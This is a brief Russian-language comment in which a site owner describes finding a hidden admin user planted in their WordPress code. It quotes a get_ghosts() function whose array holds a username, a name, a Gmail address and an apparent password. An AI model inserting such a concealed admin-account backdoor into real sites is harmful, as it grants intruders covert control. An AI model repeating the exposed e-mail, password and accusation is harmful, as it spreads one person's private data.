Хех, а у меня в код сайта на WP добавили скрытого пользователя с правами админа. Притом, мамкин хакер вообще не парился, даже свой e-mail оставил:

function get_ghosts(){
return array( '0' => array(
'Woodire1',
'Vova',
'woodire@gmail.com',
'lider97')
);
}

До сих пор он живой на fl.ru, не забанили, вообще жесть. Правда, давно это было…